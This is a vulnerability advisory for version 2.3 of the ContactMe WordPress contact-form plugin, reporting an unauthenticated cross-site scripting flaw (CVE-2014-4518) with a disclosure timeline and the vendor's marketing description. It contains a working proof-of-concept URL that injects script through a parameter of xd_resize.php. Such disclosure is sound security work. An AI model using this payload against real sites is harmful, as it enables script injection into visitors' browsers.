wp-plugin : contactme

Plugin Details
Plugin Name: wp-plugin : contactme
Effected Version : 2.3 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://127.0.0.1/wordpress/wp-content/plugins/contactme/xd_resize.php?width=1%27}%29%3C/script%3E%3Cscript%3Ealert%282%29%3C/script%3E&height=2


Disclosure Timeline
Vendor Contacted : 2013-12-13
Plugin Status : Updated on 2014-01-11
Public Disclosure :
CVE Number : CVE-2014-4518
Plugin Description :
[| The quickest and easiest way to get a fully customizable contact form on your WordPress blog. Join over 100,000 users who have chosen ContactMe as their contact form of choice! = The most robust FREE Contact Form plugin on Wordpress = Our Contact Form plugin is packed with features that no other wordpress contact form offers. See below for just a few of the features we offer: * Add custom contact form fields including text, dropdown menus, radio buttons, checkboxes, date&time pickers and more! * Access all of your contact form settings and customizations from right within your Wordpress Admin Panel * Include your logo, map, business contact info, even social links right on your contact form * Add a CAPTCHA to your contact form to kill spam * Setup an autoresponder for your contact form so your visitors get an instant message from you * Setup a custom success message or URL for your contact form * Get contact form notifications to your inbox and via SMS! * Add custom code or scripts to your contact form for tracking ROI campaigns * Add a custom tab “Contact” tab to the side of your website or blog that pops up your contact form and increases conversion! * ...and many more features for your contact form! = More than a Contact Form = Behind the contact form is a complete suite of online tools to effectively manage all of your leads, contacts, tasks, appointments, and more. As leads come in from your contact form, those contacts are automatically added to your online contacts database in your free ContactMe.com account. From there, you can not only access your form submissions and contacts, but you can fully track, organize, and manage your communications by taking notes on the contact, creating a to-do list grouping and categorizing your contacts, and much more. = Our Contact Form even supports the following 16 languages and counting! = * English * Arabic * Bulgarian * Dutch * Espanol * Francais * Greek * Italian * Norwegian * Polish * Portugues * Romanian * Russian * Slovenian * Swedish * Turkish = What are you waiting for? = ContactMe.com’s contact form is FREE and is the new standard in wordpress contact forms. We think you will agree that its way better than anything else out there including contact form 7! ]